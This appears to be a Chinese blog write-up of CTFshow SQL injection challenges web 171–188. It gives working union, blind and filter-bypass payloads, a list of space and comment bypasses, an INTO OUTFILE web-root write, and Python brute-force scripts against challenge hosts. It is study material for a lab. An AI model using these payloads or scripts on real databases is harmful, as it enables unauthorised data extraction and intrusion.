SQL注入从零开始自学——CTFshow菜鸡学习之路

本文最后更新于:2021年10月13日 下午

摘要
开始学习 SQL注入啦

web 171

image-20210319153412731

sql语句长这样:

1
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

其实很早很早以前完全看不懂 $_GET[] 周围的符号,以为是什么类似于 python f”aaaa{t}aaaa“ 这样子的变量引用. 其实 php 没那么高级,这里是用到了字符串拼接,而且 id 的值是字符串类型,要用引号包裹,所以 id 值的两个单引号被分别安排在了前后两个 sql 语句字符串里了。

第一题不愧是第一题,比较简单,拼接后的语句如下:

1
$sql = "select username,password from user where username !='flag' and id = '-1' or 1=1 -- ' limit 1;";

用户--注释掉了后面的内容,要注意的是--注释的时候,注释符和注释内容之间要有空格

image-20210319154317596

完成

web 172

image-20210319154631663

这题相较上一题,区别在于用户名那列不能出现 flag 字样,这里我采用联合查询,注意:联合查询,第二个查询语句的查询结果会被拼接到以一个查询结果下面,所以前后两个查询语句的列数要一致

拼接后的 SQL 语句如下:

1
2
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '1' 
union select 1,password from ctfshow_user2 where username='flag' -- ' limit 1;";

输出如下:

image-20210319160319603

这里用 1 代替了用户名,当然也有其他方法,比如说编码:

image-20210319160608176

或者可以用 replace方法,比方说用 flaag 替换 flag

甚至直接换个位置,毕竟只检查用户名那列:

image-20210319160703628

完整演示

当然,最完整的注入应该是从爆库爆表爆字段开始,这里演示一下完整过程:

首先爆库,SQL 语句为:

1
2
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '1' 
union select 1,database() -- ' limit 1;";

得到所有库名:

image-20210319161432388

下一步爆表,SQL 语句为:

1
2
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '1' 
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web') -- ' limit 1;";

得到所有表名:

image-20210319161600062

下一步爆字段,SQL 语句为:

1
2
3
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '1' 
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web'
and table_name='ctfshow_user2') -- ' limit 1;";

得到字段:

image-20210319161926910

后面就按最开始的方法做就好了

web 173

image-20210319162249026

这个使用正则在整个输出中搜索 flag,和上题一样的方法, 只要注意表名变了,列数也从 2 变成了 2

1
2
$sql = "select username,password from ctfshow_user3 where username !='flag' and id = '1' 
union select id,1,password from ctfshow_user2 where username='flag' -- ' limit 1;";
image-20210319162654885

成功

web 174

image-20210319164439803

这题之前做过了,也不是很难,直接 copy monster663 的方法吧,毕竟 wp 看下来,这位好哥哥的方法还是比较简洁的

这里过滤了所有数字,但是里面必然是会出现数字的,大部分人方法是 使用 replace 方法将 数字用字母组合替换,这位好哥哥想到,先转换成十六进制再做替换,因为输出的十六进制字符串英文字母均为大写,那么做替换的时候只要将数字变成小写字母,后面对输出的处理就会方便很多。

SQL 语句:

1
2
3
4
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '1' 
union select 'q',(select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),
'1','q'),'2','w'),'3','e'),'4','r'),'5','t'),'6','y'),'7','u'),'8','i'),'9','o'),'0','p')
from ctfshow_user4 where username='flag')-- ' limit 1;";

这样得到结果:

image-20210319164833220

再把小写英文字符换回数字

最后再转换成文本:

image-20210319164948215

OVER

web 175

image-20210319170020967

这次直接过滤了所有可打印字符,我最初的想法是把每个字符的16进制值加上一个数让它超过 7f 再返回,但好像没有成功,我也不知道这样可不可行,浏览了别人的 wp 似乎可以直接输出到文件,使用 into outfile 命令。(but不知道为什么前面一题用这个方法行不通呜呜呜)

SQL 语句:

1
2
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '1' 
union select username,password from ctfshow_user5 into outfile '/var/www/html/flag.txt' -- ' limit 1;";

然后直接访问文件:

image-20210319172210231

得到 FLAG

web 176

开始过滤注入

image-20210329232445311

不好意思我不知道这题过滤了啥…

image-20210329233237770

web 177

image-20210329235219983

首先 fuzz 一下,发现应该是过滤了空格,然后在准备注释掉 limit 1 时发现 -- ’ 失效了。

image-20210401101626154 image-20210401101649035

总结一下空格的 ByPass

%09 %0A %0B %0C %0D %A0 %20 /**/ ()

再总结一下注释的方法

–+ – ‘ # %23

然后经过修改后的 sql 语句如下:

1
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '-1'or(1=1)%23' limit 1;";

然后 flag 就来了

image-20210401103414490

得到 Flag

web 178

image-20210401103739031

fuzz 了一下,发现用上题的 payload 直接过了

image-20210401103945136

网上看了看,这题应该是过滤了 空格 和 *,所以不能用/**/,所以可以换成 %09 之类的

image-20210401104208432

也能得到 FLAG

web 179

image-20210401105843742

依旧是对传入参数进行了过滤, 那就再 fuzz 一下, 发现是过滤了 空格 ,* 和 %09, 因此还是可以用前两题的 payload 一把梭

image-20210401110229016

当然还可以用 web 177 说明的几种空格绕过方法, 就不演示了

web 180

image-20210401110524170

再用前几题的 payload 已经不行了

image-20210401110629664

fuzz 一下, 应该是过滤了 %23

思来想去, 或许只能直接查询 id了:

image-20210401112406477

但我们并不知道 flag 的 id 是多少,于是写了个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import json

url = "http://a5f1fc29-d4a1-4be7-928b-1496fc6c8e7b.challenge.ctf.show:8080/api/?id=-1'or(id={})and'1&page=1&limit=10"
header = {
'Referer': 'http://a5f1fc29-d4a1-4be7-928b-1496fc6c8e7b.challenge.ctf.show:8080/select-waf.php',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '
'Chrome/89.0.4389.114 Safari/537.36',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Cookie': '__cfduid=d4763c3084916f1f16f68b0861b79c7471615877828; '
'UM_distinctid=178432bef221a-087c5d51e683cc-5771031-1f2ca0-178432bef2398 '
}

for i in range(50):
res = requests.get(url=url.format(i), headers=header)
Data = res.content.decode('UTF-8')
res = json.loads(Data)
print(res)

运行!

image-20210401112550211

flag 就来了

web 181

image-20210401113055453

ummm这题给了正则匹配的内容, 观察发现用上题的 exp 还能打!

image-20210401113511405

flag 就来了

web 182

image-20210401113738550

相较上题,类型差不多,只不过正则匹配多了 flag,我猜想可能只是为了防止查询用户名为 flag 这样子的语句吧,但是无妨,前两题的方法还能用!

image-20210401114202479

flag 又来了

web 183

image-20210401120510654

这题就变了,只回显结果数量,提交方式变成了 POST ,模糊测试一下:

image-20210401120747922

盲猜 flag 在 pass 这列,maybe 只能对 pass 进行字典爆破,并且我们可以在 tableName 后面直接加上条件语句,并配合正则:

image-20210401121404183

网上的脚本似乎都有点问题,于是自己写了一个,值得注意的是,pass 列有 22 条数据,如果爆破的字典顺序不对的话,可能把别的信息爆出来,比方说admin,111,为了保险,我们已经知道了 flag 开头是 ctfshow 于是可以有意的排一下字典顺序

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests

url = 'http://67b87073-9678-43ba-a23a-7e12fc9c88ef.challenge.ctf.show:8080/select-waf.php'

tars = '{_-cxzasdqwerfvtgbyhnujmikolp1234567890}' # 考虑到 ctfShow 的 flag 都是小写的,并且以 ctfshow 开头
tmp = ''
sign = 0
for i in range(1, 50):
for tar in tars:
payload = {
'tableName': f"(ctfshow_user)where(substr(pass,1,{i}))regexp('{tmp + tar}')"
}
# print(payload)
res = requests.post(url=url, data=payload)
# print(res.text)
if res.text.find("$user_count = 1;") > 0:
tmp += tar
sign = 1
break
if sign == 1:
sign = 0
print(tmp)
continue
if sign == 0:
break
print("+++++++++++++++")
print(tmp)

image-20210401130459260

一段时间后,完成!

web 184

image-20210401130703595

这不太友好,连 where 和 sleep 都过滤了!

先 fuzz 一下,表名还是 ctfshow_user

image-20210401135251574

因为过滤了 where ,我也不知道该怎么办,于是上网寻求了帮助,发现大佬们用了 right join 的方法,用 on 代替 where,于是自己要去了解了一下。Mysqsl 的 right join 语法是

1
select * from table1 right join table2 on table1.id=table2.id;

经过一番研究,这句话的逻辑是,查询出 table2 的整张表,然后依次循环查询结果的每一行,对每一行,又分别以 on 后的句子为条件在 table1 中查询。最后的行数计算方法是,打个比方,如果 table2 有五行,以 on 后句子为条件查询 table1 有六条结果,那最后输出的总行数为 5*6=30 行。

那么先设计一张表 ctfshow_user:

image-20210402003438850

然后做一个简单的 right join:

image-20210402003827980

这里将表分别命名成了 a 和 b,是为了方便写条件式。首先查询 b 表,能查询出五条数据,也就是图中 5 个红框,随后依次循环每条数据并以 on 后的条件进行查询。这里因为 on 后的条件是 1=1,所以应该是恒成立条件,那么表 a 中每一项数据都是匹配的,因此每一条表 b 的数据又对应了 5 条表 a 中的数据,这也是为什么上图中每个红框里又有五条数据。(这里我的个人理解就是,b表有n条数据,就循环多少次,循环体内是对 a 表的遍历,a 表有几行就进行几次循环,每一次循环内的判断条件是 on 后的语句)

基本理解意思后,回到题目,只输出行数。如果 on 后的条件不成立,那么 b 表有几行数据 count(*) 就是几

image-20210402004616304

如果 on 后条件恒成立,那么就会输出 count(*) = 25,前面 1=1 就是个例子。

如果 on 后条件对 a 表某一行成立:

image-20210402004951979

那么 b 表的每一行都能匹配到一个结果,count(*) = 5,和 on 条件全不成立结果是一样的,这样无法区分。但是如果条件是关于 b 表的话:

image-20210402005231863

对于 b 表的前四行,其 pass 列值都不符合条件,故搜索结果为 null,但对于最后一行结果,a 表有5行,就循环五次,每一次的判断条件是b.pass='cctfshow{uebwiubvu2322}',所以这时候 5 次循环都是成立的,故对应了五条数据。所以 count(*) = 9, 也就是 5 * 2 - 1。很显然这样可以判断出我们的条件语句成立了。

回到原题试试,分析一波,第一次测试可知这里 ctfshow_user 表有 22 行,用 right join 方法,on 后条件对右表成立,那么最后行数应该是 22*2-1=43 行。这里可以结合一下 substr 方法。等号被过滤,这里可以容正则 reg 代替,或者用 like;然后引号被过滤,无法使用"a"这样的字符,故可以用char(97)代替,当然 97 可以换成十六进制。测试一下想法,我们知道第一位是 c :

image-20210402014545403

十六进制也行:

image-20210402015021292

like 也行:

image-20210402014847014

那既然知道 flag 的前几位是 ctfshow,咱转成十六进制试试:

image-20210402015228343

成功!但是这里必须用 regexp,用 like 就不太行。

那么就可以写脚本了!

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import binascii


def encode(s):
str_16 = binascii.b2a_hex(s.encode('utf-8')) # 字符串转16进制
return '0x' + str(str_16, encoding="utf-8")


# print(encode('c'))

url = 'http://f954e5be-3bd0-4561-8693-62dae2f5e2bb.challenge.ctf.show:8080/select-waf.php'

tars = '{_-cxzasdqwerfvtgbyhnujmikolp1234567890}' # 考虑到 ctfShow 的 flag 都是小写的,并且以 ctfshow 开头
tmp = ''
sign = 0
for i in range(1, 50):
for tar in tars:
payload = {
'tableName': f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,1,{i})regexp(chr({encode(tmp+tar)})))"
}
# print(payload)
res = requests.post(url=url, data=payload)
# print(res.text)
if res.text.find("$user_count = 43;") > 0:
tmp += tar
sign = 1
break
if sign == 1:
sign = 0
print(tmp)
continue
if sign == 0:
break
print("+++++++++++++++")
print(tmp)

运行!

image-20210402021001749

成功!!!

web 185

image-20210402021440314

和上题差不多,只不过多过滤了所有数字。

网上看见张表:

image-20210402021725397

意思是 true + true = 2 这个样子,可以用函数之类的字符串来表示一些数字,那么 a 就是 97 个 true 相加!

但是有个问题,我前几题的脚本在对每一位进行爆破的时候,十六进制字符串都会带上之前匹配出来的字符,比方说我要匹配第七位,我会将前六位 ctfsho 一起带上转为十六进制放在 regexp 里,这样可以有效防止跑出其他结果(加入有两行,第一行 admin,第二行 damin,那么如果匹配第二位的时候不带上第一位,字典是"abcdefghijklmnopqrstuvwxyz"的话,那么跑出来的结果很可能就是 aamin )

在这题这样子就行不通了,或许可能是我没想到。我去网上白嫖了代码,其他大佬 的 wp 都是按位爆破的,不带已爆破的字段,不过效果好像真的还行!

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests

url = "http://fd9f9520-7858-41c4-af1c-587d17fcd3fd.challenge.ctf.show:8080/select-waf.php"
payload = "ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{},{})regexp(char({})))"
tars = '{_-cxzasdqwerfvtgbyhnujmikolp1234567890}'
i = 8
flag = "ctfshow{"


def createNum(n):
num = 'true'
if num == 1:
return 'true'
else:
for i in range(n - 1):
num += '+true'
return num


while True:
i += 1
for j in range(127):
if chr(j) not in tars:
continue
data = {
"tableName": payload.format(createNum(i), createNum(1), createNum(j))
}
# print(data)
response = requests.post(url=url, data=data)
if "$user_count = 43;" in response.text:
if chr(j) != ".":
flag += chr(j)
# print(flag)
break
print(flag.lower())

运行!

image-20210402135150156

flag 就来了

web 186

image-20210402140009704

过滤的有亿点多,但是上一题的 exp 还能打!

image-20210402140245525

flag 又来了!

web 187

image-20210402140508111

题目越来越有趣了起来

md5()函数有两个参数,一个是要加密的字符串,另一个是输出格式,可选。规定十六进制或二进制输出格式:

TRUE - 原始 16 字符二进制格式

FALSE - 默认。32 字符十六进制数

这题比较简单,只要找到 md5 加密后会出现 ‘or’x就行,非零极为真,网上找来两个ffifdyop、129581926211651571912466741651878684928,可以顺利解决!

image-20210402160447777

flag 不会直接显示出来

web 188

image-20210415112713048